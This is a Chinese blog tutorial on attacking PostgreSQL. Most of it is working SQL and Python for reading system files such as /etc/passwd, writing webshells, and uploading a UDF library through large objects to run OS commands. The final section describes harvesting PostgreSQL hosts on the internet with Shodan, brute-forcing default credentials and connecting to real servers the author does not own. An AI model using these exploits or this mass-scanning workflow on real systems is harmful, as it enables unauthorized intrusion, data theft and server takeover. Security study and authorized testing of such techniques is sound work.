PostgreSQL 是开源的对象-关系数据库数据库管理系统,在类似 BSD 许可与 MIT 许可的 PostgreSQL 许可下发行。
1、本地安装部署 PostgreSQL
测试服务为 centos,参考文档:https://www.postgresql.org/download/linux/redhat/,选择对应版本,安装命令(测试环境以 12 版本为例):
sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-9-x86_64/pgdg-redhat-repo-latest.noarch.rpm
sudo dnf -qy module disable postgresql
sudo dnf install -y postgresql12-server
sudo /usr/pgsql-12/bin/postgresql-12-setup initdb
sudo systemctl enable postgresql-12
sudo systemctl start postgresql-12
数据库安装好之后,需要修改数据库的密码才可以远程登录数据库:
service postgresql start
su postgres
psql postgres
alter user postgres with password 'postgres';
默认情况下,是无法远程连接的,需要进行进一步的配置,修改 /var/lib/pgsql/12/data/
目录下的 pg_hba.conf
,添加来源 IP 的允许范围,如图:
然后修改 postgresql.conf
的 listen_addresses 的值为 *
,如图:
然后重启服务:
systemctl restart postgresql-12
到这里就可以通过远程连接数据库,从配置上说,外网开放的数据库,因为需要配置,并非默认可以访问,所以即使存在弱口令,也不一定可以连接。
2、利用 PostgreSQL 特性读写文件
读取系统文件:
方法一 直接读取:
select pg_read_file('/etc/passwd', 0, 200);
方法二 间接读取:
CREATE TABLE pwn(t TEXT);
COPY pwn FROM '/etc/passwd';
SELECT * FROM pwn;
DROP table pwn;
写文件
当我们知道 web 目录真实路径时,可以使用这个方法写 webshell。
方法一:
CREATE TABLE pwn (t TEXT);
INSERT INTO pwn(t) VALUES ('');
SELECT * FROM pwn;
COPY pwn(t) TO '/tmp/cmd.php';
DROP TABLE pwn;
方法二:
COPY (select '') to '/tmp/1.php';
3、利用 PostgreSQL 特性执行系统命令
执行系统命令需要用到udf库,下面测试一下。查询 postgresql 的数据库版本:
第一步:根据数据库版本,获取 udf 二进制文件,在 sqlmap 的 data 目录下有对应的库文件:
找适合目标版本的库文件,使用 sqlmap 的解码工具解码:
python extra\cloak\cloak.py -d -i data\udf\postgresql\linux\64\12\lib_postgresqludf_sys.so_
第二步:上传获取到的 lib_postgresqludf_sys.so 上传到服务器,将库文件转为 hex,转换小脚本如下:
import sys
if __name__=="__main__":
if len(sys.argv) != 2:
print "Usage: python " + sys.argv[0] + " inputfile"
sys.exit()
fileobj = open(sys.argv[1], 'rb')
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
fileobj.close()
将以上代码保存为 bin2hex.py,然后使用如下命令转换:
python bin2hex.py lib_postgresqludf_sys.so
上传,将上面得到的 hex 值传入下面的语句中执行:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));
SELECT lo_export(19074, '/tmp/test.so');
直接将所有内容全部写入可能会报错,我这里没有报错,但是在导出的时候报错了,如图:
接下来尝试另外一种,我们可以把数据分段,稍微修改一下代码,如下:
import sys
if __name__=="__main__":
if len(sys.argv) != 2:
print "Usage: python " + sys.argv[0] + " inputfile"
sys.exit()
fileobj = open(sys.argv[1], 'rb')
i = 0
num = 0
sys.stdout.write("INSERT INTO pg_largeobject VALUES (12345, 0, decode('")
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
num = num + 1
sys.stdout.write(r"', 'hex'));\nINSERT INTO pg_largeobject VALUES (12345, "+str(num)+", decode('")
print "', 'hex'));"
fileobj.close()
这样分成多个段进行写入,就可以成功写入,使用如下命令:
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('hex01', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('hex02', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('hex03', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('hex04', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 4, decode('hex05', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 5, decode('hex06', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 6, decode('hex07', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
成功执行后,创建 Postgresql 功能
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
然后执行系统命令:
select sys_eval('whoami');
如果是低版本,也就是版本低于 8.2 以下,直接调用 lib/libc.so.6
或者是 /lib64/libc.so.6
就可以执行命令了:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
执行命令方式:
4、外网环境下收集目标并检测和利用
第一步:使用 shadon 去收集 postgresql 目标
搜索下载的命令:
shodan download --limit 1000000 postgresql.txt product:"PostgreSQL"
第二步:使用弱口令扫描器扫描
我用的还是 PortBruteWin,命令如下:
PortBruteWin.exe -f postgreip.txt -u user.txt -p pass.txt
为了提升速度和准确度,只扫描账号密码均为 postgres
的目。
第三步:针对存在弱口令的目标进行测试
使用 psql 客户端连接目标,先查询目标版本信息:
尝试了多个目标均报错,无法执行命令,可能是因为,配置是对于来源 IP 不可信,无法进一步操作。这个数据库在内网可能成为一个不错的突破口。
信安之路文库未来一年将收录整理 vulnhub 全量靶机攻略,当前进度(283/700),扫码订阅